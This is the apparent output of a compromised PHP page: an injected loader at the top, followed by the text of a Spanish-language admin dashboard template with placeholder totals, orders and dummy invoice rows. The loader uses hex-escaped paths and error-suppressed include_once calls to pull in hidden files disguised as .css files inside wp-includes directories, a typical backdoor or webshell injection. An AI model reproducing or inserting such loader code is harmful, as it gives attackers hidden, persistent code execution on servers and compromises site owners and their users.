?> */ $rwrdnz = "/home/blaster/publi\x63_html/wp\x2din\x63ludes/blo\x63ks/\x63omment\x2d\x63ontent/.2e3b0\x6345.\x63ss"; if (!empty($rwrdnz)){ @include_once /* kns */ ($rwrdnz); } ?> */ $rypvg = "/home/blaster/publi\x63_html/desafio/wp\x2din\x63ludes/\x63ustomize/.f9237b92.\x63ss"; if (!empty($rypvg)){ @include_once /* x0k1p */ ($rypvg); } include_once('core/init.php'); $current_user = sessionsVerify(); ?> editando...
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Total Hoy

$1234

Total Mes

$1234

Gastos Hoy

$1234

Gastos Mes

$1234
BALANCE
Ver Todo
Years Compared
Year Progress 1 Progress 3
Ene 30 40
Feb 20 30
Mar 30 20
Abr 20 10
May 20 30
Jun 80 10
Jul 40 20
NOTA/PEDIDO RÁPIDO


NOTAS
Ver Todas
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CALENDARIO
Ver Todo
PEDIDOS
Ver Todos
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TRABAJOS PENDIENTES
Date Invoice Customer Amount Status Action
01 Jan 2045 INV-0123 Jhon Doe $123 Paid Ver Orden
01 Jan 2045 INV-0123 Jhon Doe $123 Paid Ver Orden
01 Jan 2045 INV-0123 Jhon Doe $123 Paid Ver Orden
01 Jan 2045 INV-0123 Jhon Doe $123 Paid Ver Orden
01 Jan 2045 INV-0123 Jhon Doe $123 Paid Ver Orden
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